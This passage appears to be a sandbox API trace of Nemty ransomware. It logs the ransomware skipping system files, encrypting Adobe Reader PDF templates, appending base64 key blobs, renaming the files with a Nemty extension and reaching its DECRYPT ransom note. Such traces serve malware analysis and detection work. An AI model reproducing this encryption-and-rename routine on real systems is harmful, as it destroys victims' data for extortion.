CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.460] Sleep (dwMilliseconds=0x5) [0171.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19da4eb0, dwHighDateTime=0x1d561e8)) [0171.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19da4eb0, dwHighDateTime=0x1d561e8)) [0171.473] GetLastError () returned 0xb7 [0171.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.473] GetLastError () returned 0xb7 [0171.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.473] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.473] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.474] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.474] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="1xe+sTAwPyF51iNaFBtQIdOwlGPmcP/ckOSnFoZQ+rZKTnZMJJAvlcZiw9JGLUPd\r\n6tNS1r1HMXJu0FzrugZDXHYKVmdXV9hqU8Ym4xy8A7RCcHrsC3JVehLoaKiIGRQT\r\nc145pI32NMCPE1gmCUjdFbF1LPH49eU7cbc3Rd1tMN+L2GiTEJQS3lu/rhHG/S16\r\nO6+K02rL463k3WP+qlvVf9XnANGF8S9AQFmAcPp99h3RJVusnPcEZw2puSzB9d2i\r\nJptO9kjdP4w625cR4qLq/VxW8MSOoWcxK/FJF7szbJwOXy+ZpAwUY+2Rfm2OiH8U\r\nVZfhBruQeIygXqfb2ZkrOg==\r\n", pcchString=0x653e5dc) returned 1 [0171.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.474] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=82070) returned 1 [0171.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14090) returned 0x6352c48 [0171.474] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.474] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14090, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14090, lpOverlapped=0x0) returned 1 [0171.481] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.481] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14090, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14090, lpOverlapped=0x0) returned 1 [0171.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.481] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=82070, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14096 [0171.482] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.482] CloseHandle (hObject=0x3b0) returned 1 [0171.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.482] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.484] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.484] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.485] Sleep (dwMilliseconds=0x5) [0171.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19dcb010, dwHighDateTime=0x1d561e8)) [0171.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19dcb010, dwHighDateTime=0x1d561e8)) [0171.489] GetLastError () returned 0x0 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.489] GetLastError () returned 0x0 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.489] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.489] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.489] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.489] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="88C7QrAPOpV/3baQSAQKKTLrDfoNUkT01WS9lRMnlyDxSkY56O2Ru1XmurM/bpHQ\r\nWtm9fxxoka2UIamgxWeWqYjXBGSjpOSnAlQUJ0gJ3FBNr1iSQHcXqi7ZlE9Vj9vZ\r\neNO2qJOScbXi2HcylZTFDDQ6JwSZmuVOpKAnxvYBrIYXQLoc2YsuHG40pG2+hx0d\r\nWUTFIZc7TV0/dheNIGjSuM5r67YMPwFgGDMnIb+54956DTmjXc4NPMaokJUslvXf\r\nNK8FuJxdjS+1ySvT0FAaq7VcUMjvvbiyEhMQCuV9HOB25hzlFrkjtd55YGOG6rSo\r\n+f5u1Ef+s3VaRtxKVQkehQ==\r\n", pcchString=0x653e5dc) returned 1 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.489] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80651) returned 1 [0171.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13b00) returned 0x6352c48 [0171.490] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.490] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13b00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13b00, lpOverlapped=0x0) returned 1 [0171.497] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.497] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13b00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13b00, lpOverlapped=0x0) returned 1 [0171.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.497] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=80651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13b0b [0171.497] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.497] CloseHandle (hObject=0x3b0) returned 1 [0171.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.498] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.498] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d58bf0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19d58bf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19d58bf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.498] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.499] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.499] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.499] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.499] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.499] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.499] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, 